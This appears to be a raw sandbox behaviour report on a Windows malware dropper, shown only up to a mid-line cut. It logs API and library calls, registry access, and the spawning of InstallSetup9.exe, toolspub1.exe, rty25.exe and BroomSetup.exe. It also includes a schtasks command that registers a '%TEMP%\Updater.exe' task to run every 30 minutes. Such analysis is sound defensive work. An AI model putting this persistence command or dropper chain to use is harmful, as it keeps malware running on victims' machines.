9c0000000600000001000000b11d00000200000053657276696365205061636b203100205061636b203100205061636b20310000c4ab3300100000001c000000d8db1200dcdc12007ac8317008000000ac4e86779379a175ffffffff40dc1200000000002cdc12000010000004000000002000004cdc1200bf79a175ffffffff0000ef010000ef01001000000400000084dc1200 (UID: 00000000-00004500) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000c8d11200000000000000000000000000dcd11200000000000000000000000000a055760bd0d11200186da175d0d112002a6da1751c5c86774379a175ffffffff0c0000004c6286771f79a175ffffffff0c000000e4d11200040000000004000001000000f8d11200210e300200000000 (UID: 00000000-00003348)38:T5f1,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "GetLocaleInfoW" with parameter "9" - (UID: 00000000-00000640) "InstallSetup9.exe" called "GetLocaleInfoW" with parameter "1033" - (UID: 00000000-00002856) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "1033" - (UID: 00000000-00004500) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "65663" - (UID: 00000000-00004500) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "66567" - (UID: 00000000-00004500) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "66574" - (UID: 00000000-00004500) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "66615" - (UID: 00000000-00004500) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "133124" - (UID: 00000000-00004500) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "135172" - (UID: 00000000-00004500) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "136196" - (UID: 00000000-00004500) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "197636" - (UID: 00000000-00004500) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "263172" - (UID: 00000000-00004500) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "263185" - (UID: 00000000-00004500) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "265220" - (UID: 00000000-00004500) "BroomSetup.exe" called "GetLocaleInfoW" with parameter "267268" - (UID: 00000000-00004500) "cmd.exe" called "GetLocaleInfoW" with parameter "1033" - (UID: 00000000-00003592)39:T6a3,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "InstallSetup9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "InstallSetup9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "toolspub1.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "BroomSetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")3a:T52d,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp, 00000000-00004500.00000001.82966.70BFA000.00000002.mdmp, 00000000-00004500.00000001.82966.70C94000.00000002.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp")3b:T7d3,Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "00000000-00004224.00000000.80779.0040B000.00000020.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "FindWindowW" (Indicator: "FindWindow"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "8549076,2744,109,,GetWindowTextW,user32.dll,"252:07:06.717",RX=0,PX=0" (Indicator: "GetWindowText"; Source: "00000000-00004500.00000001.82966.002F0000.00000004.mdmp")3c:T5b8,Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp")3d:T772,"InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")3e:T4f4,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\TOOLSPUB1.EXE") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\TOOLSPUB1.EXE") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\31839B57A4F11171D6ABC8BBC4451EE4.EXE") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\31839B57A4F11171D6ABC8BBC4451EE4.EXE") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\INSTALLSETUP9.EXE") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\INSTALLSETUP9.EXE") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\RTY25.EXE") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\RTY25.EXE")3f:T436,Found registry modification API: "RegLoadKeyW" in file "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" Found registry modification API: "RegCreateKeyExW" in file "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" Found registry modification API: "RegConnectRegistryW" in file "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" Found registry modification API: "RegCreateKeyW" in file "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" Found registry modification API: "RegCreateKeyExW" in "00000000-00002512.00000001.82002.0B480000.00000004.mdmp" Found registry modification API: "RegCreateKeyExW" in "00000000-00002856.00000000.80757.00408000.00000002.mdmp" Found registry modification API: "RegCreateKeyTransactedW" in "00000000-00004500.00000001.82966.70891000.00000020.mdmp, 00000000-00004500.00000002.84888.70E41000.00000020.mdmp" Found registry modification API: "RegCreateKeyExW" in "00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp"40:T6ec,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00000640) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00002856) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %TEMP%\ (UID: 00000000-00002856) "InstallSetup9.exe" called "CreateDirectoryW" with parameter C:\Users (UID: 00000000-00002856) "InstallSetup9.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00002856) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData (UID: 00000000-00002856) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00002856) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Temp (UID: 00000000-00002856) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %TEMP%\nsi3737.tmp (UID: 00000000-00002856) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files (UID: 00000000-00002856) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00002856) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Cookies (UID: 00000000-00002856) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\History (UID: 00000000-00002856) "BroomSetup.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00004500) "BroomSetup.exe" called "CreateDirectoryW" with parameter %APPDATA%\Temp (UID: 00000000-00004500)41:T4ee,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "CreateProcessW" with parameter ""%TEMP%\InstallSetup9.exe"" - (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "CreateProcessW" with parameter ""%TEMP%\toolspub1.exe"" - (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "CreateProcessW" with parameter ""%TEMP%\31839b57a4f11171d6abc8bbc4451ee4.exe"" - (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "CreateProcessW" with parameter ""%TEMP%\rty25.exe"" - (UID: 00000000-00000640) "InstallSetup9.exe" called "CreateProcessW" with parameter "%TEMP%\BroomSetup.exe" - (UID: 00000000-00002856) "InstallSetup9.exe" called "CreateProcessW" with parameter "%TEMP%\nsi711C.tmp" - (UID: 00000000-00002856) "BroomSetup.exe" called "CreateProcessW" with parameter ""%APPDATA%\Temp\Task.bat"" - (UID: 00000000-00004500) "cmd.exe" called "CreateProcessW" with parameter "chcp 1251" - (UID: 00000000-00003592) "cmd.exe" called "CreateProcessW" with parameter "schtasks /create /tn "MalayamaraUpdate" /tr "'%TEMP%\Updater.exe'" /sc minute /mo 30 /F" - (UID: 00000000-00003592)42:T547a,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter 84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00000640) "InstallSetup9.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\PROPSYS.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\DWMAPI.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CRYPTBASE.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter OLEACCRC.DLL (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\OLEACC.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CLBCATQ.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\NTMARTA.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\VERSION.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\SHFOLDER.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter %TEMP%\nsi3737.tmp\INetC.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00002856) "InstallSetup9.exe" called "LoadLibrary" with a parameter 